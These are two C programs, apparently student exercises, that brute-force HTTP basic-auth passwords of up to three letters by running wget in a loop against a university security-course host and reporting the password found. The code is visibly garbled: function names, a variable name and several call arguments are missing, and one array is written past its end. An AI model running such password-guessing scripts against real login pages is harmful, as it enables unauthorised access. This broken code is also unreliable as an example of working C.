
#include "stdio.h"
#include "string.h"

#include "stdlib.h"


void passwordcheck(char pass[],int tt,int not);
()
{
int i,j,k,t,tt,not;
char cp[3];

char [4];

char a[]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};

tt=time(&(t));
not=0;
for (i=0;i<=51;i++)
{
	
	cp[0]=a[i];
	sprintf(,"%c",cp[0]);
	passwordcheck(,tt,not);
	for (j=0;j<=51;j++)
	{
		
		
		cp[0]=a[i];
		cp[1]=a[j];
		sprintf(,"%c%c",cp[0],cp[1]);
		passwordcheck(,tt,not);
		for(k=0;k<=51;k++)
		{
			
							
			cp[0]=a[i];
			cp[1]=a[j];
		
			cp[2]=a[k];
			
			sprintf(,"%c%c%c",cp[0],cp[1],cp[2]);
			
			passwordcheck(,tt,not);
			
					
		}
		
				
		
	}
}

}



void passwordcheck(char pass[],int tt,int not)
{
char url[400];
int num,ti,tti;

			
strcpy(url,"wget --http-user= --http-passwd=");
			strcat(url,pass);
			
			strcat(url," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); 
			printf("The password combination is :%s",pass);
			fflush(stdout);	
			num=system(url);
			not++;
			if (num==0)
			{
				
				time(&(ti));
				tti=ti-tti;
				printf("The actual password is :%s\n",pass);
				printf("The number of attempts   crack the password is :%d",not);
				printf("The time_var taken  find the password by brute force attack is :%d\n seconds",tti);
				exit(1);
				
				
			}
						
			else
			{
			strcpy(pass,"");
			}
			


}
 





#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9 

int (){
   int i=65,j=65,k=65,count=0,res=1;
   char arry[3],send[100];
   int startTime, stopTime, final;
   startTime = time();
   for(i;i<123;i++){
      if(i<91 || i>96){
         arry[0]=i;
	 j=65;
	 for(j;j<123;j++){
	    if(j<91 || j>96){
	       arry[1]=j;
	       k=65;
	       for(k;k<123;k++){
		  if(k<91 || k>96){
		     arry[2]=k;
		     arry[3]='\0';
		     strcpy(send,"wget --http-user= --http-passwd=");
		     strcat(send,arry);
		     strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
		     count++;
	             if((res=(system(send)) == 0)) {
		        stopTime = time();
			final = stopTime-startTime;
			printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\n",arry,(double)final/OneBillion,count);
			exit(1);
		     }
		  }
	       }
            }
         }
      }
   }
   printf("\npassword not found\n");
   exit(1);
}
